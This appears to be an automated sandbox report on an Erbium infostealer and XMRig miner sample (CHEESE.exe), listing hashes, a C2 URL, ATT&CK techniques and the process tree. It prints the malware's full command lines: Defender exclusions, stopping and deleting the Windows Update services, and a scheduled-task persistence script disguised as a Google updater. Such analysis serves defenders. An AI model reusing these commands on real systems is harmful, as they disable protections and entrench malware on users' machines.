erbium | 2180293a0c0b7340f85543d453c10e8f9a059b69a530428fe1858e92a7fa63c3

Resubmissions

13/10/2022, 16:27

221013-tx24csdcb610

13/10/2022, 16:20

221013-ttjgvachdp10

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
13/10/2022, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CHEESE.exe
Size 2.4MB
Sample221013-tx24csdcb6
SHA256 2180293a0c0b7340f85543d453c10e8f9a059b69a530428fe1858e92a7fa63c3
MD5 12ef571baf523c098fc4e96bb3759c21
SHA1 b476dd2bed415fbbc9c96e4a33160d12bf8413bb
SHA512 e4e2354ee21ede5f3a61c00ac9766736e55e23bd3577b5bc41a7f493b8143159ca8d771fad7af4ee4b7fd56be450b82651f0ce87b82e873119e9f1655ac7249a
SSDEEP 24576:DYof7x+kxP2gEDiYbYXQZCsuMUTSyzdvi1ucvgDfR1JJMK3LTiF+cTl3RuQ5531C:kozx+kxugEaYu1JJMK3n/al3Q
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

erbium xmrig evasion miner stealer upx

Malware Config

Extracted

Family

erbium

http://77.73.133.53/cloud/index.php

Signatures

Erbium
Erbium is an infostealer written in C++ and first seen in July 2022.
stealer erbium

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/3760-199-0x00007FF75BD60000-0x00007FF75C554000-memory.dmp	xmrig
behavioral2/memory/3760-201-0x00007FF75BD60000-0x00007FF75C554000-memory.dmp	xmrig

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	dgyarofidrbtpsukpbv.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Executes dropped EXE 2 IoCs

pid	Process
101236	dgyarofidrbtpsukpbv.exe
3880	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3760-199-0x00007FF75BD60000-0x00007FF75C554000-memory.dmp	upx
behavioral2/memory/3760-201-0x00007FF75BD60000-0x00007FF75C554000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 696 set thread context of 100800	696	CHEESE.exe	86
PID 3880 set thread context of 4944	3880	updater.exe	131
PID 3880 set thread context of 3760	3880	updater.exe	138

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5072	sc.exe
4792	sc.exe
4308	sc.exe
3220	sc.exe
4428	sc.exe
4072	sc.exe
228	sc.exe
1600	sc.exe
1196	sc.exe
1120	sc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
100800	vbc.exe
100800	vbc.exe
3536	powershell.exe
3536	powershell.exe
4124	powershell.exe
4124	powershell.exe
3136	powershell.exe
3136	powershell.exe
2096	powershell.exe
2096	powershell.exe
5068	powershell.exe
5068	powershell.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe
3760	dwm.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeIncreaseQuotaPrivilege	4124	powershell.exe
Token: SeSecurityPrivilege	4124	powershell.exe
Token: SeTakeOwnershipPrivilege	4124	powershell.exe
Token: SeLoadDriverPrivilege	4124	powershell.exe
Token: SeSystemProfilePrivilege	4124	powershell.exe
Token: SeSystemtimePrivilege	4124	powershell.exe
Token: SeProfSingleProcessPrivilege	4124	powershell.exe
Token: SeIncBasePriorityPrivilege	4124	powershell.exe
Token: SeCreatePagefilePrivilege	4124	powershell.exe
Token: SeBackupPrivilege	4124	powershell.exe
Token: SeRestorePrivilege	4124	powershell.exe
Token: SeShutdownPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeSystemEnvironmentPrivilege	4124	powershell.exe
Token: SeRemoteShutdownPrivilege	4124	powershell.exe
Token: SeUndockPrivilege	4124	powershell.exe
Token: SeManageVolumePrivilege	4124	powershell.exe
Token: 33	4124	powershell.exe
Token: 34	4124	powershell.exe
Token: 35	4124	powershell.exe
Token: 36	4124	powershell.exe
Token: SeIncreaseQuotaPrivilege	4124	powershell.exe
Token: SeSecurityPrivilege	4124	powershell.exe
Token: SeTakeOwnershipPrivilege	4124	powershell.exe
Token: SeLoadDriverPrivilege	4124	powershell.exe
Token: SeSystemProfilePrivilege	4124	powershell.exe
Token: SeSystemtimePrivilege	4124	powershell.exe
Token: SeProfSingleProcessPrivilege	4124	powershell.exe
Token: SeIncBasePriorityPrivilege	4124	powershell.exe
Token: SeCreatePagefilePrivilege	4124	powershell.exe
Token: SeBackupPrivilege	4124	powershell.exe
Token: SeRestorePrivilege	4124	powershell.exe
Token: SeShutdownPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeSystemEnvironmentPrivilege	4124	powershell.exe
Token: SeRemoteShutdownPrivilege	4124	powershell.exe
Token: SeUndockPrivilege	4124	powershell.exe
Token: SeManageVolumePrivilege	4124	powershell.exe
Token: 33	4124	powershell.exe
Token: 34	4124	powershell.exe
Token: 35	4124	powershell.exe
Token: 36	4124	powershell.exe
Token: SeIncreaseQuotaPrivilege	4124	powershell.exe
Token: SeSecurityPrivilege	4124	powershell.exe
Token: SeTakeOwnershipPrivilege	4124	powershell.exe
Token: SeLoadDriverPrivilege	4124	powershell.exe
Token: SeSystemProfilePrivilege	4124	powershell.exe
Token: SeSystemtimePrivilege	4124	powershell.exe
Token: SeProfSingleProcessPrivilege	4124	powershell.exe
Token: SeIncBasePriorityPrivilege	4124	powershell.exe
Token: SeCreatePagefilePrivilege	4124	powershell.exe
Token: SeBackupPrivilege	4124	powershell.exe
Token: SeRestorePrivilege	4124	powershell.exe
Token: SeShutdownPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeSystemEnvironmentPrivilege	4124	powershell.exe
Token: SeRemoteShutdownPrivilege	4124	powershell.exe
Token: SeUndockPrivilege	4124	powershell.exe
Token: SeManageVolumePrivilege	4124	powershell.exe
Token: 33	4124	powershell.exe
Token: 34	4124	powershell.exe
Token: 35	4124	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 696 wrote to memory of 100800	696	CHEESE.exe	86
PID 696 wrote to memory of 100800	696	CHEESE.exe	86
PID 696 wrote to memory of 100800	696	CHEESE.exe	86
PID 696 wrote to memory of 100800	696	CHEESE.exe	86
PID 696 wrote to memory of 100800	696	CHEESE.exe	86
PID 100800 wrote to memory of 101236	100800	vbc.exe	90
PID 100800 wrote to memory of 101236	100800	vbc.exe	90
PID 101236 wrote to memory of 3536	101236	dgyarofidrbtpsukpbv.exe	94
PID 101236 wrote to memory of 3536	101236	dgyarofidrbtpsukpbv.exe	94
PID 101236 wrote to memory of 1244	101236	dgyarofidrbtpsukpbv.exe	96
PID 101236 wrote to memory of 1244	101236	dgyarofidrbtpsukpbv.exe	96
PID 101236 wrote to memory of 4124	101236	dgyarofidrbtpsukpbv.exe	97
PID 101236 wrote to memory of 4124	101236	dgyarofidrbtpsukpbv.exe	97
PID 1244 wrote to memory of 4072	1244	cmd.exe	100
PID 1244 wrote to memory of 4072	1244	cmd.exe	100
PID 1244 wrote to memory of 228	1244	cmd.exe	101
PID 1244 wrote to memory of 228	1244	cmd.exe	101
PID 1244 wrote to memory of 5072	1244	cmd.exe	102
PID 1244 wrote to memory of 5072	1244	cmd.exe	102
PID 1244 wrote to memory of 4792	1244	cmd.exe	103
PID 1244 wrote to memory of 4792	1244	cmd.exe	103
PID 1244 wrote to memory of 1600	1244	cmd.exe	105
PID 1244 wrote to memory of 1600	1244	cmd.exe	105
PID 1244 wrote to memory of 4112	1244	cmd.exe	106
PID 1244 wrote to memory of 4112	1244	cmd.exe	106
PID 1244 wrote to memory of 2100	1244	cmd.exe	107
PID 1244 wrote to memory of 2100	1244	cmd.exe	107
PID 1244 wrote to memory of 1512	1244	cmd.exe	108
PID 1244 wrote to memory of 1512	1244	cmd.exe	108
PID 1244 wrote to memory of 1416	1244	cmd.exe	109
PID 1244 wrote to memory of 1416	1244	cmd.exe	109
PID 1244 wrote to memory of 3976	1244	cmd.exe	110
PID 1244 wrote to memory of 3976	1244	cmd.exe	110
PID 101236 wrote to memory of 3136	101236	dgyarofidrbtpsukpbv.exe	111
PID 101236 wrote to memory of 3136	101236	dgyarofidrbtpsukpbv.exe	111
PID 3136 wrote to memory of 4444	3136	powershell.exe	113
PID 3136 wrote to memory of 4444	3136	powershell.exe	113
PID 3880 wrote to memory of 2096	3880	updater.exe	115
PID 3880 wrote to memory of 2096	3880	updater.exe	115
PID 3880 wrote to memory of 1672	3880	updater.exe	117
PID 3880 wrote to memory of 1672	3880	updater.exe	117
PID 3880 wrote to memory of 5068	3880	updater.exe	118
PID 3880 wrote to memory of 5068	3880	updater.exe	118
PID 1672 wrote to memory of 4308	1672	cmd.exe	121
PID 1672 wrote to memory of 4308	1672	cmd.exe	121
PID 1672 wrote to memory of 3220	1672	cmd.exe	122
PID 1672 wrote to memory of 3220	1672	cmd.exe	122
PID 1672 wrote to memory of 4428	1672	cmd.exe	123
PID 1672 wrote to memory of 4428	1672	cmd.exe	123
PID 1672 wrote to memory of 1196	1672	cmd.exe	124
PID 1672 wrote to memory of 1196	1672	cmd.exe	124
PID 1672 wrote to memory of 1120	1672	cmd.exe	126
PID 1672 wrote to memory of 1120	1672	cmd.exe	126
PID 1672 wrote to memory of 2296	1672	cmd.exe	127
PID 1672 wrote to memory of 2296	1672	cmd.exe	127
PID 1672 wrote to memory of 3296	1672	cmd.exe	128
PID 1672 wrote to memory of 3296	1672	cmd.exe	128
PID 1672 wrote to memory of 4396	1672	cmd.exe	129
PID 1672 wrote to memory of 4396	1672	cmd.exe	129
PID 1672 wrote to memory of 3908	1672	cmd.exe	130
PID 1672 wrote to memory of 3908	1672	cmd.exe	130
PID 3880 wrote to memory of 4944	3880	updater.exe	131
PID 3880 wrote to memory of 4944	3880	updater.exe	131
PID 3880 wrote to memory of 4944	3880	updater.exe	131

C:\Users\Admin\AppData\Local\Temp\CHEESE.exe
"C:\Users\Admin\AppData\Local\Temp\CHEESE.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:696
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:100800
- - C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe
    "C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:101236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3536
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1244
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:4072
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:228
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5072
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:4792
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1600
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:4112
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:2100
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        Modifies security service
        
        PID:1512
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:1416
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:3976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#gesvv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#btrwhe#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe" }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3136
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        5⤵
        
        PID:4444

C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2096
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4308
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3220
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4428
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1196
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1120
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2296
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3296
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4396
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3908
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#gesvv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5068
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe cuujhamlfzwomvc
  2⤵
  PID:4944
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
    3⤵
    PID:4088
- C:\Windows\system32\cmd.exe
  cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
  2⤵
  PID:3168
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:4548
- C:\Windows\system32\dwm.exe
  C:\Windows\system32\dwm.exe hhpaajoofiimzvle 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUGu8K1XCwbSh+ypLRcuGVjKHCqkQEbMjFPp2wEHUk/2YPEa7u8eDtaLNsvMtmfnW7pfZpWBLC28ol0YuaRyoAomoKg0M+MybStmWANwpbdJc3A2uC6nbgxCBAPoLOO1OuubEuAZTBCdX/xrrcvKnB4H9LwgUyVl9z4LaBunuWLn9L+984DlEL8pLkHAhoqzbgnzq2Q8UulW3Pe1gu+jesqTUbmj//6+fiMhPgKixPwrGz+CELGutufbQREgiXW/NQvg1coXmscuZ6yQ7RnXXKH4GsnmWjjAo51w5WaTYtMM4tqi5n6yulrtZsexR2Y9abHIdInko1dNj2btVqFpVDPxbdEbNaQGAVINOHgf8WWal3b6c2wr6mRVWR/3OEXgmNHc0PdsvyYK2oX+Nd+NLu2cGMVpnPgCpRS4DeAKMErD9sVFST+vIdKC5haHZrq6Ao
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 76b46bff03441dd68a1ec36cc77545c9f092d56b758e57f456b031bf5d9e2567
MD5 89256683dc80a918ffc964e7a3e0f913
SHA1 aa4ad5c4d28112cddcd5f86320d515c71b464332
SHA512 470eb15081af73eb99db8a05307da19fdff97678bdcda34784dc73fd24087281dda823bcecdf09bf67a38b57a24a9fa3f6a2ea85dcec56263d2d68c07f2b87b0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7488d73318f710b8d78085113362c4edb94ad777c9fe995e071641511fc52c0e
MD5 9bd5cb9c69271f3de553a4207f8973d9
SHA1 70d42fe6ce6c471d6170e68bb34e3ebb07a4e0e6
SHA512 3df4bc2cd6b57b08a905ff59eccdd4bd6edddc6c21dd525984c464110e70e8d8989b6b7c9f6e0e78ad8f74b335e0611149c9347868185b57ce620bc812947464
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 6e37cf30b9188d04d5c2e5b9583a1cda02da6c86d4bd03c34c5cc80e6e8642f2
MD5 a10f29bd142d27667e3de4927bca93a2
SHA1 f009910db810d3826add6fdbc5d2d06d30ab200d
SHA512 e2c93a19888bd000e9ad79a43ede8e77493a56db21ed19d385e2cd6e6da9d3edf34e5a83c49467d28d7a7ee89d90cdb30a2cc1c6dfd9b22d68c8bb356e8f79fa
MD5 SHA1 SHA512

Submit Download

dgyarofidrbtpsukpbv.exe

Path C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe
Size 4.0MB
SHA256 1407005795e62e9cf1c25ac71cb547b2f59dcbb427823e1bc58c75fc05ff328a
MD5 254f52d736b363ba19a748d44d36bfbe
SHA1 ed37a872ed90f79691e63c3e770f0e30df0a667a
SHA512 e4fa7e7ecfa499e4478dd4aa57ea661b26c255c1993445c85393f502c2eb02a5ebfd8af1918ff9a2bdc0a751c80a206274092da03843da06744f6c91ebd82413
SSDEEP 98304:o1w+72qcpQnYzXiuZx3tPoR7b2qwXZ2jsMzjZzA0NCKVldLZoBv:oCZGnYzXJ79w7IhM20Nz7diBv
MD5 SHA1 SHA512 SSDEEP

Submit Download

dgyarofidrbtpsukpbv.exe

Path C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe
Size 4.0MB
SHA256 1407005795e62e9cf1c25ac71cb547b2f59dcbb427823e1bc58c75fc05ff328a
MD5 254f52d736b363ba19a748d44d36bfbe
SHA1 ed37a872ed90f79691e63c3e770f0e30df0a667a
SHA512 e4fa7e7ecfa499e4478dd4aa57ea661b26c255c1993445c85393f502c2eb02a5ebfd8af1918ff9a2bdc0a751c80a206274092da03843da06744f6c91ebd82413
SSDEEP 98304:o1w+72qcpQnYzXiuZx3tPoR7b2qwXZ2jsMzjZzA0NCKVldLZoBv:oCZGnYzXJ79w7IhM20Nz7diBv
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
Size 4.0MB
SHA256 097ea3bed40d4251c6b1d68d0eb5703512698456f4e8dfbcb3930a3e37b7eaa4
MD5 67047d56feeb8d7b999e878aa443f42c
SHA1 1a0f57fea28a17171ccc63da2ef211f001b4cb67
SHA512 db29f658c168584a664882024a9222b087300d83f6346e0787afe87f332f6771a7e0f5201f788cef2f2c527fdf208b3b7f2fccaf2d783fdce94142be3ea1849d
SSDEEP 98304:o1w+72qcpQnYzXiuZx3tPoR7b2qwXZ2jsMzjZzA0NCKVldLZoBv:oCZGnYzXJ79w7IhM20Nz7diBv
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
Size 4.0MB
SHA256 097ea3bed40d4251c6b1d68d0eb5703512698456f4e8dfbcb3930a3e37b7eaa4
MD5 67047d56feeb8d7b999e878aa443f42c
SHA1 1a0f57fea28a17171ccc63da2ef211f001b4cb67
SHA512 db29f658c168584a664882024a9222b087300d83f6346e0787afe87f332f6771a7e0f5201f788cef2f2c527fdf208b3b7f2fccaf2d783fdce94142be3ea1849d
SSDEEP 98304:o1w+72qcpQnYzXiuZx3tPoR7b2qwXZ2jsMzjZzA0NCKVldLZoBv:oCZGnYzXJ79w7IhM20Nz7diBv
MD5 SHA1 SHA512 SSDEEP

Submit Download

g.log

Path C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

Submit Download

memory/2096-173-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

Download

memory/3136-170-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

Download

memory/3136-166-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

Download

memory/3536-174-0x00007FFD327C0000-0x00007FFD33281000-memory.dmp

Download

memory/3536-148-0x00007FFD327C0000-0x00007FFD33281000-memory.dmp

Download

memory/3536-145-0x000001376CF70000-0x000001376CF92000-memory.dmp

Download

